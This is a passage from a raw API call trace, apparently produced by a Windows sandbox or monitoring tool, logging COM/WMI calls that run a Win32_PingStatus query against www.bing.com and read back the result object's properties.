[1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59feb98 | out: ppvObject=0x59feb98*=0x74f840) returned 0x0 [0138.201] WbemLocator:IUnknown:Release (This=0x720ba4) returned 0x1 [0138.202] IWbemServices:ExecQuery (in: This=0x74f840, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.bing.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59fedfc | out: ppEnum=0x59fedfc*=0x6c07b0) returned 0x0 [0138.213] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febcc | out: ppvObject=0x59febcc*=0x6c07b4) returned 0x0 [0138.213] IClientSecurity:QueryBlanket (in: This=0x6c07b4, pProxy=0x6c07b0, pAuthnSvc=0x59fec1c, pAuthzSvc=0x59fec18, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14, pImpLevel=0x59fec04, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c | out: pAuthnSvc=0x59fec1c*=0xa, pAuthzSvc=0x59fec18*=0x0, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14*=0x6, pImpLevel=0x59fec04*=0x2, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c*=0x1) returned 0x0 [0138.213] IUnknown:Release (This=0x6c07b4) returned 0x1 [0138.213] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febc0 | out: ppvObject=0x59febc0*=0x720c94) returned 0x0 [0138.213] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febac | out: ppvObject=0x59febac*=0x6c07b4) returned 0x0 [0138.213] IClientSecurity:SetBlanket (This=0x6c07b4, pProxy=0x6c07b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.237] IUnknown:Release (This=0x6c07b4) returned 0x2 [0138.237] WbemLocator:IUnknown:Release (This=0x720c94) returned 0x1 [0138.237] CoTaskMemFree (pv=0x5cea1b0) [0138.237] IUnknown:AddRef (This=0x6c07b0) returned 0x2 [0138.238] CoGetContextToken (in: pToken=0x59fe0ec | out: pToken=0x59fe0ec) returned 0x0 [0138.238] CoGetContextToken (in: pToken=0x59fe4fc | out: pToken=0x59fe4fc) returned 0x0 [0138.238] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe498 | out: ppvObject=0x59fe498*=0x720c7c) returned 0x0 [0138.238] WbemLocator:IRpcOptions:Query (in: This=0x720c7c, pPrx=0x5cdb3d8, dwProperty=2, pdwValue=0x59fe58c | out: pdwValue=0x59fe58c) returned 0x80004002 [0138.238] WbemLocator:IUnknown:Release (This=0x720c7c) returned 0x2 [0138.238] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0138.238] CoGetContextToken (in: pToken=0x59fea2c | out: pToken=0x59fea2c) returned 0x0 [0138.238] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x59feafc*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59fe9c8 | out: ppvObject=0x59fe9c8*=0x6c07b0) returned 0x0 [0138.238] IUnknown:Release (This=0x6c07b0) returned 0x2 [0138.238] WbemLocator:IUnknown:Release (This=0x74f840) returned 0x0 [0138.239] SysStringLen (param_1=0x0) returned 0x0 [0138.239] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee48 | out: puCount=0x59fee48*=0x2) returned 0x0 [0138.239] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0x0, pszText=0x0 | out: puBuffLength=0x59fee44*=0xf, pszText=0x0) returned 0x0 [0138.239] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee44*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.239] CoGetContextToken (in: pToken=0x59fec9c | out: pToken=0x59fec9c) returned 0x0 [0138.239] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee54 | out: ppEnum=0x59fee54*=0x6c0878) returned 0x0 [0138.289] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed10 | out: ppvObject=0x59fed10*=0x6c087c) returned 0x0 [0138.289] IClientSecurity:QueryBlanket (in: This=0x6c087c, pProxy=0x6c0878, pAuthnSvc=0x59fed60, pAuthzSvc=0x59fed5c, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58, pImpLevel=0x59fed48, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50 | out: pAuthnSvc=0x59fed60*=0xa, pAuthzSvc=0x59fed5c*=0x0, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58*=0x6, pImpLevel=0x59fed48*=0x2, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50*=0x1) returned 0x0 [0138.289] IUnknown:Release (This=0x6c087c) returned 0x1 [0138.289] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed04 | out: ppvObject=0x59fed04*=0x720ba4) returned 0x0 [0138.289] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf0 | out: ppvObject=0x59fecf0*=0x6c087c) returned 0x0 [0138.289] IClientSecurity:SetBlanket (This=0x6c087c, pProxy=0x6c0878, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.372] IUnknown:Release (This=0x6c087c) returned 0x2 [0138.372] WbemLocator:IUnknown:Release (This=0x720ba4) returned 0x1 [0138.372] CoTaskMemFree (pv=0x5cea0c0) [0138.372] IUnknown:AddRef (This=0x6c0878) returned 0x2 [0138.373] CoGetContextToken (in: pToken=0x59fe220 | out: pToken=0x59fe220) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x59fe634 | out: pToken=0x59fe634) returned 0x0 [0138.373] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5cc | out: ppvObject=0x59fe5cc*=0x720b8c) returned 0x0 [0138.373] WbemLocator:IRpcOptions:Query (in: This=0x720b8c, pPrx=0x5cdb480, dwProperty=2, pdwValue=0x59fe6c0 | out: pdwValue=0x59fe6c0) returned 0x80004002 [0138.373] WbemLocator:IUnknown:Release (This=0x720b8c) returned 0x2 [0138.373] CoGetContextToken (in: pToken=0x59fec04 | out: pToken=0x59fec04) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x59feb64 | out: pToken=0x59feb64) returned 0x0 [0138.373] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x59fec34*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feb00 | out: ppvObject=0x59feb00*=0x6c0878) returned 0x0 [0138.373] IUnknown:Release (This=0x6c0878) returned 0x2 [0138.373] SysStringLen (param_1=0x0) returned 0x0 [0138.374] IEnumWbemClassObject:Reset (This=0x6c0878) returned 0x0 [0138.382] CoTaskMemAlloc (cb=0x4) returned 0x5ce6308 [0138.383] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5ce6308, puReturned=0x282bef8 | out: apObjects=0x5ce6308*=0x5ce3b38, puReturned=0x282bef8*=0x1) returned 0x0 [0138.390] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe4ac | out: ppvObject=0x59fe4ac*=0x5ce3b38) returned 0x0 [0138.390] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe460 | out: ppvObject=0x59fe460*=0x0) returned 0x80004002 [0138.390] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe288 | out: ppvObject=0x59fe288*=0x0) returned 0x80004002 [0138.390] IUnknown:AddRef (This=0x5ce3b38) returned 0x3 [0138.390] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddbc | out: ppvObject=0x59fddbc*=0x0) returned 0x80004002 [0138.390] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd6c | out: ppvObject=0x59fdd6c*=0x0) returned 0x80004002 [0138.390] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd78 | out: ppvObject=0x59fdd78*=0x5ce3b3c) returned 0x0 [0138.390] IMarshal:GetUnmarshalClass (in: This=0x5ce3b3c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd80 | out: pCid=0x59fdd80*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.390] IUnknown:Release (This=0x5ce3b3c) returned 0x3 [0138.390] CoGetContextToken (in: pToken=0x59fddd8 | out: pToken=0x59fddd8) returned 0x0 [0138.390] CoGetContextToken (in: pToken=0x59fe1ec | out: pToken=0x59fe1ec) returned 0x0 [0138.391] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe26c | out: ppvObject=0x59fe26c*=0x0) returned 0x80004002 [0138.391] IUnknown:Release (This=0x5ce3b38) returned 0x2 [0138.391] CoGetContextToken (in: pToken=0x59fe7d4 | out: pToken=0x59fe7d4) returned 0x0 [0138.391] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0138.391] IUnknown:QueryInterface (in: This=0x5ce3b38, riid=0x59fe804*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe800 | out: ppvObject=0x59fe800*=0x5ce3b38) returned 0x0 [0138.391] IUnknown:AddRef (This=0x5ce3b38) returned 0x4 [0138.391] IUnknown:Release (This=0x5ce3b38) returned 0x3 [0138.391] IUnknown:Release (This=0x5ce3b38) returned 0x2 [0138.391] CoTaskMemFree (pv=0x5ce6308) [0138.391] CoGetContextToken (in: pToken=0x59feb44 | out: pToken=0x59feb44) returned 0x0 [0138.391] IUnknown:AddRef (This=0x5ce3b38) returned 0x3 [0138.391] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fee44*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feec4*=0, plFlavor=0x59feec0*=0 | out: pVal=0x59fee44*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59feec4*=3, plFlavor=0x59feec0*=64) returned 0x0 [0138.392] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fee28*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feeac*=0, plFlavor=0x59feea8*=0 | out: pVal=0x59fee28*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59feeac*=8, plFlavor=0x59feea8*=64) returned 0x0 [0138.392] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.392] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.392] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c4 [0138.392] SetEvent (hEvent=0x3f0) returned 1 [0138.392] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fee00*=0x4c4, lpdwindex=0x59fec24 | out: lpdwindex=0x59fec24) returned 0x0 [0138.396] CoGetContextToken (in: pToken=0x59fecd4 | out: pToken=0x59fecd4) returned 0x0 [0138.396] CoGetContextToken (in: pToken=0x59fec34 | out: pToken=0x59fec34) returned 0x0 [0138.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x59fed04*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x5cdd008) returned 0x0 [0138.396] WbemDefPath:IUnknown:AddRef (This=0x5cdd008) returned 0x3 [0138.397] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x2 [0138.397] WbemDefPath:IWbemPath:SetText (This=0x5cdd008, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0138.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee80 | out: puCount=0x59fee80*=0x2) returned 0x0 [0138.397] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0x0, pszText=0x0 | out: puBuffLength=0x59fee7c*=0xf, pszText=0x0) returned 0x0 [0138.398] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee7c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0138.398] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0138.398] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.398] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Address", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282c980*=0, plFlavor=0x282c984*=0 | out: pVal=0x59fede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x282c980*=8, plFlavor=0x282c984*=0) returned 0x0 [0138.398] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.398] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.398] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Address", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282c980*=8, plFlavor=0x282c984*=0 | out: pVal=0x59fedec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x282c980*=8, plFlavor=0x282c984*=0) returned 0x0 [0138.398] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.398] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0138.398] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0138.398] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.398] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ca34*=0, plFlavor=0x282ca38*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ca34*=19, plFlavor=0x282ca38*=0) returned 0x0 [0138.398] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ca34*=19, plFlavor=0x282ca38*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ca34*=19, plFlavor=0x282ca38*=0) returned 0x0 [0138.399] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0138.399] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0138.399] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.399] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="StatusCode", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282cac8*=0, plFlavor=0x282cacc*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282cac8*=19, plFlavor=0x282cacc*=0) returned 0x0 [0138.399] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="StatusCode", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282cac8*=19, plFlavor=0x282cacc*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282cac8*=19, plFlavor=0x282cacc*=0) returned 0x0 [0138.399] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0138.399] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0138.399] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.400] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282cfc4*=0, plFlavor=0x282cfc8*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x282cfc4*=8, plFlavor=0x282cfc8*=64) returned 0x0 [0138.400] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.400] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.400] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282cfc4*=8, plFlavor=0x282cfc8*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x282cfc4*=8, plFlavor=0x282cfc8*=64) returned 0x0 [0138.400] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.400] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.400] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0138.400] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0138.400] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.400] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d060*=0, plFlavor=0x282d064*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282d060*=8, plFlavor=0x282d064*=64) returned 0x0 [0138.400] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.400] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.400] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d060*=8, plFlavor=0x282d064*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282d060*=8, plFlavor=0x282d064*=64) returned 0x0 [0138.400] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.400] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.400] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0138.400] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0138.400] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.401] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d1bc*=0, plFlavor=0x282d1c0*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1230, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x282d1bc*=8200, plFlavor=0x282d1c0*=64) returned 0x0 [0138.401] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d1bc*=8200, plFlavor=0x282d1c0*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1230, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x282d1bc*=8200, plFlavor=0x282d1c0*=64) returned 0x0 [0138.401] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0138.401] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0138.401] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, 